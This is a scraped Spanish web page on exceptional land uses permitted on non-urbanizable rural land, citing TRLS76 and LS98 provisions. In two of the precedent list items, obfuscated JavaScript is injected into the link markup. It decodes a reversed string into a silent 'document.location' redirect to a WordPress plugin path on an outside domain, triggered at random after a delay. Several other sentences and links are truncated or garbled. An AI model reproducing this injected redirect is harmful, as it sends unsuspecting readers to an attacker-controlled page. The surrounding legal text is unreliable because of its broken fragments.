Otros usos en suelo No Urbanizable
En suelo No Urbanizable (Rural no sujeto a actuación de Nueva Urbanización) se admite con carácter excepcional que, además de los usos propios de su naturaleza, se implanten otros usos, siempre que estos hayan de emplazarse en el medio rural o sean de interés publico y social “por su contribución a la ordenación y desarrollo rurales”.
Precedentes
- Los arts. $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley sobre Régimen del Suelo y Ordenación Urbana (RD 1346/1976, de 9 de abril)” href=”https://www.boe.es/buscar/act.php?id=BOE-A-1976-11506#aochentaycinco” target=”_blank”>85.1.2º TRLS76 contemplaban que “podrán autorizarse… edificaciones e instalaciones de utilidad pública o interés social que hayan de emplazarse en el medio rural”.
- El $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley sobre Régimen del Suelo y Ordenación Urbana (RD 1346/1976, de 9 de abril)” href=”https://www.boe.es/buscar/act.php?id=BOE-A-1976-11506″ target=”_blank”>TRLS76.
- Los arts. 20.1 y 9.1ª LS98 establecen que en suelo no urbanizable no sujeto a especial protección “excepcionalmente, podrán autorizarse actuaciones específicas de interés público”.
- El torizarse… las edificaciones o instalaciones de utilidad pública o interés social que requiera el suelo no urbanizable como requisito necesario para su desenvolvimiento”.
- “los adecuados y precisos para su utilización racional” según las tos/1997/02/9700689a.shtml” target=”_blank”>DOT y las normas e instrumentos de ordenación territorial
- los que sean conformes a su naturaleza rural y no impliquen transformación o usos urbanísticos
- de dotaciones, equipamientos y actividades,
- declarados de interés público por la legislación sectorial o por el planeamiento territorial,
- declarados de interés público para el caso concreto por la Diputación Foral (con información pública)
El regulación resultante de estos tres preceptos, ciertamente confusa, ha venido a complicarse con la modificación del L3R.
La modificación respecto al Cambia la ubicación sistemática del precepto, pasando del Título II, Bases del régimen del suelo, al Titulo I, Condiciones básicas de la igualdad en los derechos y deberes constitucionales de los ciudadanos.